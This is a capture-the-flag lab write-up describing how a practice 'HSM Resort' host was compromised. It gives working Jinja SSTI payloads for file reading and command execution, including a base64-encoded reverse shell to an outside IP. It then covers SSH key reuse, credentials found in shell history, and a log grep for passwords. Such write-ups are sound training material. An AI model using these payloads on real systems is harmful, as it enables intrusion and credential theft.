Post cover image

August 25, 2026

Casino— HackSmarter Challenge Lab (Medium) Write-up

Introduction

By yamish marshall

3 min read

Introduction

In this lab, the objective was to compromise the HSM Resort machine, obtain initial access through the web application, and escalate privileges to root.

The attack chain involved several vulnerabilities and misconfigurations, including Server-Side Template Injection (SSTI), exposed SSH credentials, credentials stored in shell history, excessive group privileges, and sensitive information stored in system logs.

Reconnaissance

I started by examining the web application and looking for interesting endpoints and static resources.

Two endpoints immediately stood out:

http://10.1.120.235/static/js/app.min.js.map
http://10.1.120.235/api/v1/rooms/status?status=occupied
None None

The JavaScript source map was interesting because source maps can expose the original application code and reveal API endpoints or application functionality that may not be obvious from the frontend.

The room-status API also appeared to expose information about occupied rooms.

After gaining access to the portal, I moved on to testing the application's input handling.

Server-Side Template Injection

I tested one of the user-controlled fields with a basic SSTI payload:

{{7*7}}
None

The application evaluated the expression, confirming that the input was being processed by a server-side template engine.

I then tested whether the vulnerability could be used to read local files:

{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}

This successfully returned the contents of /etc/passwd.

Two interesting users were:

george:x:1000:1000::/home/george:/bin/bash
david:x:1001:1001::/home/david:/bin/bash

Both accounts had interactive shells, making them interesting targets for further enumeration.

Command Execution

After confirming SSTI, I tested whether it could be escalated to command execution.

My first reverse-shell payload didn't work, so I tried another Flask/Jinja-based command execution technique.

The following approach successfully executed commands through the vulnerable application:

{{request.application.__globals__.__builtins__.__import__('os').popen('<command>').read()}}

Command execution :

{{request.application.__globals__.__builtins__.__import__('os').popen('echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjIwMC44NS4zMy85MDAxIDA+JjE= | base64 -d | bash').read()}}This gave me command execution on the target and allowed me to

Breaking down the payload

The first part:

request.application.__globals__

accesses the Flask application's global context.

Then:

__builtins__.__import__('os')

uses Python's built-in import functionality to import the os module.

From there:

.popen(...)

allows a system command to be executed.

The command itself was Base64 encoded:

echo <base64> | base64 -d | bash

The reason for encoding the command was to make the shell payload easier to pass through the vulnerable template input without having to deal with problematic characters directly

This gave me command execution on the target and allowed me to continue enumerating the filesystem and get command execution.

Access as George

During enumeration, I discovered an SSH private key belonging to george.

SSH was running on port 2222, so I connected using:

ssh -p 2222 -i id_rsa george@10.1.120.235

The connection was successful and I obtained a shell as george.

I then retrieved the user flag:

cat user.txt
HSM{Flag_here}

Access as David

With access as George, I checked the user's shell history:

cat ~/.bash_history

The history contained a MySQL command with credentials for the david account:

mysql -u david -p'DavidPass2026!#' -h 127.0.0.1 resort_db

This was a good reminder to always check shell history during post-compromise enumeration, as credentials can sometimes be exposed in plaintext.

I tested the password against the local david account:

su david

The password worked and I successfully obtained access as david.

Privilege Escalation

Next, I checked David's group membership:

id

The result showed:

uid=1001(david) gid=1001(david) groups=1001(david),4(adm)

David was a member of the adm group.

On Linux systems, members of the adm group commonly have access to system logs under /var/log.

I searched the available logs for potentially sensitive information:

grep -RniE 'password|passwd|token|secret|credential|ssh|sudo|user|command' /var/log 2>/dev/null

The search revealed sensitive information containing the root password:

R3s0rt_<pass>_2026!

Root Access

With the root password discovered, I switched to the root account:

su root

The credentials worked and I obtained root access.

Finally, I retrieved the root flag:

cat /root/root.txt
HSM{flag_here}

Attack Chain

The complete attack path was:

Web Enumeration
      ↓
JavaScript Source Map / API Discovery
      ↓
SSTI
      ↓
Command Execution
      ↓
SSH Key
      ↓
George
      ↓
.bash_history
      ↓
David Credentials
      ↓
David + adm Group
      ↓
Sensitive Logs
      ↓
Root Credentials
      ↓
Root

Key Takeaways

This lab was a good example of how several relatively simple issues can be chained together to achieve full system compromise.

The main findings were:

  • Server-Side Template Injection
  • SSTI leading to command execution
  • Exposure of an SSH private key
  • Credentials stored in .bash_history
  • Password reuse
  • Excessive access through the adm group
  • Sensitive credentials stored in system logs

Overall, this was a good medium-level lab for practicing web enumeration, SSTI, Linux enumeration, credential discovery, and privilege escalation.